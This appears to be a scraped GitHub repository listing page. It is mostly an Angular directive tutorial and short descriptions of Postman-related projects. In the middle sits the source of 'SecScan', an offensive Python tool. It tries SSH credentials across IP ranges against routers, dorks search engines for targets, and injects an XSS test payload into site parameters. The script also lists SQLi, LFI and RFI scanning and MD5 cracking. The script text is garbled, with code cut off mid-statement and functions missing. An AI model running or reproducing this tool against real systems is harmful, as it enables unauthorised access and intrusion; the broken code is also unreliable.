service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
udinparla/aa.py
address, admin, api blueprint, asyncapi, automat, automatic, automatically, class, correct, crawler, creation, data, file, find, free, google, header, host, html, http, import, json schema, link, list, location, mail, oauth, openid, output, pages, print, python, random, reading, result, route, router, running, search, seek, send, sends, site, source, sql, task, test, user 		#!/usr/bin/env python import re import hashlib import Queue from random import choice import threading import time import urllib2 import sys import socket try: import paramiko PARAMIKO_IMPORTED = True except ImportError: PARAMIKO_IMPORTED = False USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6", "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3" ] option = ' ' vuln = 0 invuln = 0 np = 0 found = [] class Router(threading.Thread): """Checks for routers running ssh with given User/Pass""" def __init__(self, queue, user, passw): if not PARAMIKO_IMPORTED: print 'You need paramiko.' print 'http://www.lag.net/paramiko/' sys.exit(1) threading.Thread.__init__(self) self.queue = queue self.user = user self.passw = passw def run(self): """Tries to connect to given Ip on port 22""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) while True: try: ip_add = self.queue.get(False) except Queue.Empty: break try: ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10) ssh.close() print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw) write = open('Routers.txt', "a+") write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw)) write.close() self.queue.task_done() except: print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw) self.queue.task_done() class Ip: """Handles the Ip range creation""" def __init__(self): self.ip_range = [] self.start_ip = raw_input('Start ip: ') self.end_ip = raw_input('End ip: ') self.user = raw_input('User: ') self.passw = raw_input('Password: ') self.iprange() def iprange(self): """Creates list of Ip's from Start_Ip to End_Ip""" queue = Queue.Queue() start = list(map(int, self.start_ip.split("."))) end = list(map(int, self.end_ip.split("."))) tmp = start self.ip_range.append(self.start_ip) while tmp != end: start[3] += 1 for i in (3, 2, 1): if tmp[i] == 256: tmp[i] = 0 tmp[i-1] += 1 self.ip_range.append(".".join(map(str, tmp))) for add in self.ip_range: queue.put(add) for i in range(10): thread = Router(queue, self.user, self.passw ) thread.setDaemon(True) thread.start() queue.join() class Crawl: """Searches for dorks and grabs results""" def __init__(self): if option == '4': self.shell = str(raw_input('Shell location: ')) self.dork = raw_input('Enter your dork: ') self.queue = Queue.Queue() self.pages = raw_input('How many pages(Max 20): ') self.qdork = urllib2.quote(self.dork) self.page = 1 self.crawler() def crawler(self): """Crawls Ask.com for sites and sends them to appropriate scan""" print '\nDorking...' for i in range(int(self.pages)): host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page) req = urllib2.Request(host) req.add_header('User-Agent', choice(USER_AGENT)) response = urllib2.urlopen(req) source = response.read() start = 0 count = 1 end = len(source) numlinks = source.count('_t" href', start, end) while count alert('xssBYm0le');""" self.file = 'xss.txt' def run(self): """Checks Url for possible Xss""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np xsite = site.rsplit('=', 1)[0] if xsite[-1] != "=": xsite = xsite + "=" test = xsite + self.xchar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("xssBYm0le", data, re.I)): self.xss(test) vuln += 1 else: print B+test + W+' > ' + str(vuln) + G+' Vulnerable Sites Found' + W print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W print '>> ' + str(np) + R+' Sites Without Parameters' + W if option == '1': print '>> Output Saved To sqli.txt\n' elif option == '2': print '>> Output Saved To lfi.txt' elif option == '3': print '>> Output Saved To xss.txt' elif option == '4': print '>> Output Saved To rfi.txt' W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; def main(): """Outputs Menu and gets input""" quotes = [ '\[email protected]\n' ] print (O+''' ------------- -- SecScan -- --- v1.5 ---- ---- by ----- --- m0le ---- -------------''') print (G+''' -[1]- SQLi -[2]- LFI -[3]- XSS -[4]- RFI -[5]- Proxy -[6]- Admin Page Finder -[7]- Sub Domain Scan -[8]- Dictionary MD5 cracker -[9]- Online MD5 cracker -[10]- Check your IP address''') print (B+''' -[!]- If freeze while running or want to quit, just Ctrl C, it will automatically terminate the job. ''') print W global option option = raw_input('Enter Option: ') if option: if option == '1': Crawl() output() print choice(quotes) elif option == '2': Crawl() output() print choice(quotes) elif option == '3': Crawl() output() print choice(quotes) elif option == '4': Crawl() output() print choice(quotes) elif option == '5': Ip() print choice(quotes) elif option == '6': admin() aprint() print choice(quotes) elif option == '7': subd() print choice(quotes) elif option == '8': word() print choice(quotes) elif option == '9': OnlineCrack().crack() print choice(quotes) elif option == '10': Check().grab() print choice(quotes) else: print R+'\nInvalid Choice\n' + W time.sleep(0.9) main() else: print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W time.sleep(0.9) main() if __name__ == '__main__': main() 4 stars 4 watchers 0 forks
p8ul/postman2apiary
collection, generating, print, rating 		Tool for generating Blueprint API markup or the Apiary API from a Postman collection. 0 stars 0 watchers 8 forks
bukalapak/vanadia
collection, file, print 		Export API Blueprint .apib file to Postman collection 0 stars 0 watchers 4 forks
metasys-server/apib-2postman
generator, meta, print, server 		An API Blueprint to Postman Collection generator 1 stars 1 watchers 1 forks
znck/apib-to-postman
blueprint, collection, postman collection, print 		Convert API blueprint to postman collection 0 stars 0 watchers 3 forks
balderdashy/blueprint-api-example
blueprint, example, print, site, website 		An example of a Sails app using a blueprint API for use in "Run in Postman" buttons on the Sails website. 1 stars 1 watchers 0 forks
tagip/blueman
collection, convert, converts, file, image, print 		Docker image that converts an API Blueprint AST file to a Postman collection 1 stars 1 watchers 0 forks
PhillippOhlandt/pmtoapib
collection, convert, document, documentation, export, exports, print 		Tool to convert Postman collection exports to Api Blueprint documentation 0 stars 0 watchers 1 forks
call-a3/api-blueprint-to-postman
blueprint, collection, collections, file, files, postman collection, postman collections, print 		Converts Blueprint files to postman collections 0 stars 0 watchers 0 forks
countsheep123/postman2apiblueprint
blueprint, description, print, script 		No description available. 0 stars 0 watchers 0 forks
czarecoo/ThumbprintPostmanTool
description, print, script 		No description available. 0 stars 0 watchers 0 forks
amadorsenai/2s2019-sprint-1-bd-opflix
print, server 		Projeto Semestral Opflix - Backend Api CSharp - ReactJS - React Native - SQLserver - Postman - Modelagem 0 stars 0 watchers 0 forks
amadorsenai/2s2019-t2-sprint-2-inlock
print, test 		Projeto em dupla - BackEnd Inlock - API com teste postman - Banco de Dados 0 stars 0 watchers 0 forks
anuragmy/eazypg
details, print 		Assignment to get details and print pdf 0 stars 0 watchers 0 forks
BlitZC4/SpringBootJacksonProjectBinding
background, browser, client, clients, embedded, file, files, print 		A SpringBoot Demo app using Jackson project in the background to print out the Json files that are embedded in the project on the clients screen when it sneds GET request through a browser or a REST client like postman. 0 stars 0 watchers 0 forks
ChillSpike/sprint-boot-jpa-mysql
api blueprint, asyncapi, boot, client, json schema, mysql, oauth, openid, print, sql 		Spring Boot JPA with mysql using POSTMAN client 0 stars 0 watchers 0 forks
Dmitiry1921/postman2apiary
blueprint, collection, document, documentation, print 		Parse Postman collection to blueprint documentation 0 stars 0 watchers 0 forks
EldinZenderink/PostmanToDoc
document, documentation, example, includes, list, print, simplistic 		Generates (very) simplistic documentation for postman that includes every example when being "printed" to pdf. 0 stars 0 watchers 0 forks
kran/pm2ab
api blueprint, asyncapi, blueprint, json schema, oauth, openid, print, sql 		postman to api blueprint 0 stars 0 watchers 0 forks
mklabs/postman-to-apiblueprint
blueprint, collection, generate, print, tool 		A relatively simple tool to generate API Blueprint from a Postman collection. 0 stars 0 watchers 0 forks
shankj3/logspout_newman_reporter
lines, logs, newman, print, prints, report, reporter 		Newman reporter that prints JSON lines for ingestion by logspout 0 stars 0 watchers 0 forks
stevekm/py-postman
message, messages, print 		Simple Python Flask app to recieve and print POST messages 0 stars 0 watchers 0 forks

support (24 listings) (Back to Top)

postmanlabs/postman-app-support
collection, collections, complex, efficient, quickly, struct, support 		Postman helps you be more efficient while working with APIs. Using Postman, you can construct complex HTTP requests quickly, organize them in collections and share them with your co-workers. 4326 stars 4326 watchers 639 forks
longforus/api-debugger
debug, debugger, support 		🔨A like Postman API debugger that supports custom encryption. 一个类似Postman的支持自定义加密传输的后台API接口调试工具. 0 stars 0 watchers 12 forks
TakuCoder/postman
desktop, desktops, devices, header, including, method, methods, parameter, pretty, stat, status, style, submit, support, supported, test, testing, tool 		Postman is a REST API testing tool for Android devices. It helps to test REST API without desktops. can submit a HTTP request with several headers, parameters and raw request body by 6 different HTTP methods including GET, POST, HEAD, PUT, DELETE and PATCH. HTTP response can be shown as three styles including pretty, raw and preview. Response status code and headers are also supported in Postman-Android. Currently in Development Stage 3 stars 3 watchers 2 forks
gaohuia/HttpUnit
http, light, support, supported, tool, tools 		Send http requests with sublime rather than tools like PostMan. Syntax hilight, Comment supported 3 stars 3 watchers 0 forks
nttmcp/mcp_postman_collection
collection, support 		Postman collection to support NTT Cloud Control APIs 1 stars 1 watchers 1 forks
muzzah/postman
protobuf, server, support 		Lightweight, Android compatible, non blocking pub/sub server with builtin RxJava & protobuf support 1 stars 1 watchers 0 forks
nmjmdr/postman
email, emails, mail, service, services, support 		Sends emails reliably (supports failover) using services such as Sendgrid and Mailgun 1 stars 1 watchers 0 forks
WouterJanson/Fix-bunq-support-notifications
chat, collection, notification, support 		A collection of Postman request that lets you fix a bug with the support chat notifications. 1 stars 1 watchers 0 forks
brihulse/api-cd-test-demo
automat, automation, integration, support, test 		Repo to support demo of an API automation test integration using Postman 0 stars 0 watchers 1 forks
worker24h/postman
support, websocket 		postman 4.10.7 support websocket 0 stars 0 watchers 1 forks
Amer15/JavaScript-PostmanClone
clone, support 		Postman clone build with Vanilla JS which supports GET and POST requests 0 stars 0 watchers 0 forks
anuviswan/vspostman
extension, support 		Visual Studio Extension that support API Testing from the IDE. Aim is to replicate all the features of Postman in the extension. 0 stars 0 watchers 0 forks
bakersen/iReporter2
account, application, auth, bridge, countries, development, display, email, enable, enables, event, form, general, github, image, images, link, local, location, mail, notification, play, public, report, script, section, solution, solutions, stat, status, support, things, user, video 		iReporter enables any/every citizen to bring any form of corruption to the notice of appropriate authorities and the general public. Users can also report on things that needs government intervention. Corruption is a huge bane to Africa’s development. African countries must develop novel and localised solutions that will curb this menace, hence the birth of iReporter. ### Features 1. Users can create an account and log in. 2. Users can create a red-flag record (An incident linked to corruption). 3. Users can create intervention record (a call for a government agency to intervene e.g repair bad road sections, collapsed bridges, flooding e.t.c). 4. Users can edit their red-flag or intervention records. 5. Users can delete their red-flag or intervention records. 6. Users can add geolocation (Lat Long Coordinates) to their red-flag or intervention records . 7. Users can change the geolocation (Lat Long Coordinates) attached to their red-flag or intervention records . 8. Admin can change the status of a record to either under investigation, rejected (in the event of a false claim) or resolved (in the event that the claim has been investigated and resolved) . Optional Features 1. Users can add images to their red-flag or intervention records, to support their claims. 2. Users can add videos to their red-flag or intervention records, to support their claims. 3. The application should display a Google Map with Marker showing the red-flag or intervention location. 4. The user gets real-time email notification when Admin changes the status of their record. 5. The user gets real-time SMS notification when Admin changes the status of their record. ## Built With * HTML, CSS, Javascript * Python, Flask APIs * Postgres SQL ## Tools Used * Pivotal Tracker * github * Postman * Heroku ## Version v1.0 ## Authors * **Baker Sentamu** ## iReporter Demo UI Link ## Acknowledgments * Andela Learning Facilitators 0 stars 0 watchers 0 forks
bqluan/postman
email, emails, mail, send, support, template, tool 		A tool which is able to send emails in batch and supports email template. 0 stars 0 watchers 0 forks
CodingReaction/PostmanRedCards
action, import, package, packages, software, support, track 		A software made for additional support to Postman who needs to track important packages. 0 stars 0 watchers 0 forks
davislee7/Basic-Api
access, support 		Basic API (no ui, access through Postman or Curl) with CRUD support 0 stars 0 watchers 0 forks
diegomarq/diegomarq.github.io
data, database, framework, github, support 		Test API REST in PHP using Silex micro framework, Postman and MySQL as a support database technology 0 stars 0 watchers 0 forks
domingoladron/GithubActions.NewmanTestsDockerCompose
bucket, lines, support, test, tests 		Using Bitbucket Pipelines' Docker-in-Docker support, you can run your Postman tests against a Docker Compose API 0 stars 0 watchers 0 forks
lposs/postman-scripts
bunch, customer, customers, endpoint, endpoints, find, partner, partners, script, scripts, support, supported 		A bunch of Postman scripts that partners and customers may find useful in exercising AM's REST endpoints. They are provided "as is" and are unsupported. 0 stars 0 watchers 0 forks
Oculogx/Node-REST-API
debug, support, supported 		REST-API supported by Node.js and debugged with Postman 0 stars 0 watchers 0 forks
RaedShari/postman-rsa-encryption
public, support 		RSA support to encrypt value using public key 0 stars 0 watchers 0 forks
skepee/Orm-Compare
comparison, form, performance, support 		ORM performance comparison between Entity Framework Core, Dapper and Sql Server Json support. 0 stars 0 watchers 0 forks
StriveForBest/django-postman
ajax, django, fork, form, function, functional, place, placeholder, support 		django-postman fork to support ajax response, form placeholders and `mark as read` functionality 0 stars 0 watchers 0 forks
Tiausa/CloudAPI
account, data, database, form, format, information, party, provider, related, spec, support, supported, test, test suite, user 		Implemented REST API that supported user account using 3rd party providers and account specific information. Used non-relational database to support related entities. Created full test suite using Postman. 0 stars 0 watchers 0 forks

clone (24 listings) (Back to Top)

ghoshnirmalya/linkedin-clone-rails-backend
backend, clone, link, linkedin, rails, rocket, software 		:rocket: API to power a software similar to LinkedIn 5 stars 5 watchers 0 forks
Make-School-Courses/ARCHIVE-MOB-5-Advanced-Mobile-App-Development
advance, advanced, clone, development 		Learn advanced iOS development by building a clone of the Whale App 0 stars 0 watchers 5 forks
blarmon/PostmanClone
clone, mostly, site, website 		a website that mostly clones the features of postman (minus a lot at the moment). 1 stars 1 watchers 1 forks
mudiarto/django-postman
bitbucket, bucket, clone, django, sync 		clone of django-postman. master will be kept in sync with bitbucket, my changes will be in develop 0 stars 0 watchers 3 forks
stevenpersia/paperboy-alpha-releases
clone, free, host, hosted, release, self hosted, solution 		Paperboy is a free self hosted solution for your management request API. Postman clone. 1 stars 1 watchers 0 forks
sonali-developer/SmackApplication
application, background, chat, clone, creation, data, design, designed, developer, display, email, fetch, fetching, file, files, form, generating, host, hosting, includes, library, local, login, lots, mail, message, messages, model, models, namely, node, play, playing, profile, rating, real time, register, registration, saving, script, select, selection, send, service, sets, store, talk, user, users 		App Description: A clone of chat application namely Slack. It is a full fledged and professional looking ready to publish app on Appstore. It allows first time user to register by providing unique username, email and password along with selection of Avatar and Avatar's Background color; login using registered email and password, participate in channels available for chat, create new channel by adding users, perform live chat with other users of this app, can even logout, and so on. • Built using Xcode 9, Swift 4, Cocoa pods, node.js, MongoDB, Heroku, Postman, etc. for iOS 11 based iPhones and iPads. • Local Frameworks used includes Foundation, UIKit and other API's like Alamofire, SwiftyJSON, SocketIO, REST, SWReveal, etc. • Demonstrated the use of Networking in iOS. • Implemented Web Request creation in Xcode using UIKit, APIs, node.js and Mongo dB online. • Implemented Web service API hosting online using Heroku and local hosting using Postman. • Implemented user creation and real time talking using Socket Technology through SocketIO library. • Implemented Web Service for User Registration, Authentication & Login, Channels Creation & display, fetching, sending and saving text messages and many more. • Implemented Table Views, Collection Views & custom design of their cells using data models. • Implemented side menu for the display of user profile and channels using SWReveal and Gradient color design code for providing gradient color background to this side menu. • Implemented creation of two XIB's for Channels creation and profile view’s popUp. • Implemented SegmentedControl for displaying 28 Dark and Light Avatar displays and code for generating Avatar’s background color on user registration screen. • Implemented Input Accessory View for Text field. • In all designed around eight View Controllers and their corresponding storyboard file for GUI design, Four Services, two custom cells, seven view files, two model files and lots of assets and so on. 0 stars 0 watchers 2 forks
affan2/django-postman
bitbucket, bucket, clone, django, http, https 		cloned from https://bitbucket.org/affan2/django-postman 0 stars 0 watchers 1 forks
QuinntyneBrown/Postman
clone 		Postman clone 0 stars 0 watchers 1 forks
Ganesh-Chandra/mediumclone-postman-mock
clone, description, mock, script 		No description available. 0 stars 0 watchers 0 forks
haripriya12/edyst-s19-medium-clone-postman-mockserver
clone, description, mock, mocks, mockserver, script, server 		No description available. 0 stars 0 watchers 0 forks
mrityunjay38/Trello-Clone
clone, integration, study, test, testing 		Trello point-to-point clone to study api integration and Postman testing. 0 stars 0 watchers 0 forks
tangdiying/clonePostman
clone, description, script 		No description available. 0 stars 0 watchers 0 forks
Amer15/JavaScript-PostmanClone
clone, support 		Postman clone build with Vanilla JS which supports GET and POST requests 0 stars 0 watchers 0 forks
gauravsinghrawat/postmanClone
clone, server, test, type 		This the demo working clone of Post man API to make different type of requests to test our server API. 0 stars 0 watchers 0 forks
joshLazarte/postman-clone
clone, endpoint, test, tester, version 		Minimal version of postman API endpoint tester 0 stars 0 watchers 0 forks
LarryKarani/IreporterReactJs
access, application, auth, check, clone, command, coverage, development, download, endpoint, endpoints, environment, flask, following, framework, github, heroku, http, https, install, lang, language, list, local, location, login, machine, program, programming, pytest, python, report, reporter, require, signup, single, source, stat, status, terminal, test, tested, user, users, version, youtube 		# iReporterApi iReporter is an application whose aim is to reduce corruption in Africa and foster economic development. It allows users to create red flags and interventions. It implents the following list of APIs. ### Framework used The application is built using python: flask framework. >[Flask](http://flask.pocoo.org/) is a microframework for the Python programming language. ### End points Method | Endpoint | Usage | | ---- | ---- | --------------- | |POST| `/api/v2/auth/signup` | Register a user. | |POST| `api/v2/auth/login` | Login user.| |POST| `api/v2/auth/logout` | Logs out a user.| |POST| `api/v2/interventions` | Create a new incident. | |GET| `api/v2/interventions` | Get all the created incidents. | |GET| `api/v2/interventions/user` | Get all incident of the logged in user. | |GET| `api/v2/interventions/` | Get a single incident. | |PATCH| `api/v2/interventions//location` | Update a single incident location. | |PATCH| `api/v2/interventions//comment` | Update a single incident comment. | |PATCH| `api/v2/interventions//status` | Update a single incident status. | |DELETE| `api/v2/interventions/` | Delete a single incident. | ## Installation 🕵 - To run on local machine git clone this project : ``` $ git clone https://github.com/larryTheGeek/iReporterApi.git ``` Copy and paste the above command in your terminal, the project will be downloaded to your local machine. To Install python checkout: ``` https://www.python.org/ ``` - create a virtualenv and make it use python 3 using the following command. ``` $ virtualenv -p python3 env ``` - activate the virtual environment ``` $ source env/bin/activate ``` - Install Requirements ``` $ pip install -r requirements.txt ``` ### Testing - Run Test using pytest with the following command ``` $ py.test --cov=app test` ``` you will get the test coverage report on your terminal The app can also be tested via Postman - Run App ``` $ python run.py ``` The app should be accessiable via : http://127.0.0.1:5000/ open postman and navigate to the API endpoints described above ### HEROKU URL https://ireporter-version2.herokuapp.com/api/v2/ ### Owner - Larry Karani ### Motivation https://www.youtube.com/watch?v=wHRUDL7GKmI 0 stars 0 watchers 0 forks
lizzkats/Postalicious
clone 		A clone of the Postman app 0 stars 0 watchers 0 forks
mdmaruf43/postman-clone
clone 		0 stars 0 watchers 0 forks
noelsasi/mongo-REST-API
clone, express, mongo, rest, test 		simple mongo rest-API build using express and Mongoose. clone it and test with Postman 0 stars 0 watchers 0 forks
prince21298/Saral-clone-with-SQL-Quries
clone, course, data, database, exercise, express, module, test 		In this project I have write Saral-like-API by use of SQLite database. I have create saral.db database in this database create three table 1.courses 2.exercise 3.submissions this project we can test on postman also use express module in this project. 0 stars 0 watchers 0 forks
seandeviniii/postman_assignment
assignment, clone 		A Twitter api clone. 0 stars 0 watchers 0 forks
senturio/django-postman
bitbucket, bucket, clone, django, http, https 		Git clone of Mercurial repo at https://bitbucket.org/psam/django-postman 0 stars 0 watchers 0 forks
thaitranitvn/RestMan
clone 		Postman clone 0 stars 0 watchers 0 forks
Tombert/PATCHMan
clone, command, command line 		A clone of POSTman, but for the command line, written using Node.js 0 stars 0 watchers 0 forks

information (24 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly 